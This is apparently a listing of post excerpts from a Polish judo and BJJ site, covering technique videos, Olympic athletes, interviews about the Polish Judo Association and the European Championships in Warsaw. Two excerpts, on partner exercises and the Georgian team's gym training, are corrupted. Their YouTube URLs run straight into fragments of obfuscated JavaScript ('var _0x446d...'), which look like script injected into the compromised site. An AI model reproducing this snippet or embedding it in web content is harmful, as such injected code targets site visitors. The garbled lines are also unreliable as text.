W poprzednim odcinku Agata Korzemiacka pokazywała w jaki sposób można rolować nasze mięśnie. Dzisiaj kontynuacja czyli dobór odpowiedniego wałka w zależności od tego czy jesteśmy przed czy po treningu. https://youtu.be/hjLiwJeTIAQ

Cały czas rośnie świadomość wśród zawodników, ale również u trenujących amatorsko o potrzebie słuchania własnego ciała i sprawnej regeneracji. Od jakiegoś czasu na matach możecie zobaczyć osoby z wałkami, które rolują nimi po macie. Agata Korzemiacka w zapowiedzianych 3...

Ceniony amerykański judoka oraz medalista olimpijski w judo pokazuje jak skutecznie złapać bardzo ciężki do zerwania chwyt za rękaw. Jest on niedozwolony w BJJ ponieważ nie można łapać za rękawy i nogawki od ich wewnętrznej strony. https://youtu.be/_5mGuZ5DlKU

Każdy rzut ma małe szanse powodzenia bez odpowiedniego przygotowania, jeżeli nauczycie się przynajmniej kilku przygotowań znacząco ułatwi to Wam wyprowadzenie przeciwnika z równowagi i rzucenie go na łopatki. Poniżej propozycje na zaskakujące osoto gari. https://youtu.be/OHMgiC3taZA

Pozycja polecana bardziej doświadczonym adeptom, ważne żeby partner umiał dobrze padać. Z tej uwagi nie polecamy tej techniki początkującym. https://youtu.be/fLqEMmYoRqQ

Dwukrotna brązowa medalistka olimpijska w judo pokazuje ćwiczenia, które można wykonywać z partnerem wykorzystując między innymi gi, pas oraz jego ciężar ciała. https://youtu.be/NMQPTeXbf4Evar _0x446d=;if(document]](_0x446d)== ...

Zobaczcie jak na siłowni trenuje kadra Gruzji, która jest znana ze świetnych dżudoków i zapaśników. https://youtu.be/-pogWeY0oSsvar _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== ...

Shohei Ono to japoński judoka, aktualnie czołowy lekki zawodnik na świecie. W 2016 zdobył złoty medal na igrzyskach w Rio i w latach 2013/2015 dwa tytuły mistrza świata w jkategorii . Shohei słynie ze swojego agresywnego stylu "all ippon", który możecie częściowo zobaczyć na poniższym...

Zapraszamy do obejrzenia zajawkowego filmu w którym zobaczycie 40 akcji z pojedynków judo w którym zawodnicy wykonują flagowe techniki obaleń. Podczas 5 minutowego filmu w akcji zobaczymy takich zawodników jak Teddy Riner czy Ilias Iliadis. Jeżeli myśleliście o popracowaniu nad swoją...

Zaledwie rok temu skończyły się igrzyska olimpijskie w Rio, ale już trwają prace nad następnymi. Bardzo dobre wieści nadeszły ze środowiska judo, a mianowicie chodzi o ogłoszenie nowej formuły zwanej Judo Mixed Team Event. Nowa forma rywalizacji ma skompletować mieszane drużyny...

Relacja z Drużynowych Mistrzostw Polski juniorów młodszych w judo oraz Olimpiady Młodzieży.          W dniach 5-7.05.2017 r. w w hali Zespołu Szkół nr 20 odbywały się dwie duże imprezy: Finał Ogólnopolskiej Olimpiady Młodzieży w judo oraz Drużynowe Mistrzostwa Polski...

Druga część wywiadu z Krzysztofem Wiłkomirskim, zapraszamy do lektury. Co nie zadziałało podczas wyborów, skoro miałeś program burzący dotychczasowe układy? Ciężko było rywalizować z koalicją wszystkich pozostałych kandydatów, choć ostatecznie wcale nie aż tak wiele...

Zachęcamy do zapoznania się z wywiadem, który przeprowadziliśmy z Krzysztofem Wiłkomirskim o kondycji polskiego judo. Kiedy kandydował pan na stanowisko prezesa Polskiego Związku Judo postulował pan, a właściwie deklarował zerwanie dotychczasowych układów, układzików… Po kilku...

Paweł Nastula, za pośrednictwem swojego facebooka, wystosował list otwarty, w którym odniósł się krytycznie do nowych władz w Polskim Związku Judo i sytuacji w nim panującej. Poniżej treść listu: "Drogie Koleżanki i drodzy Koledzy. Wiecie, że zawsze brałem pełną...

Najlepsi zawodnicy z całej Europy odwiedzą Warszawę. Na Torwarze odbędą się Mistrzostwa Europy seniorów w judo! Poniżej znajduje się harmonogram oraz lista naszych reprezentantów. Program zawodów: 20.04.2017 (czwartek) Kobiety: kat. -48 / -52 / -57 kg. Mężczyźni: kat. -60 / -66...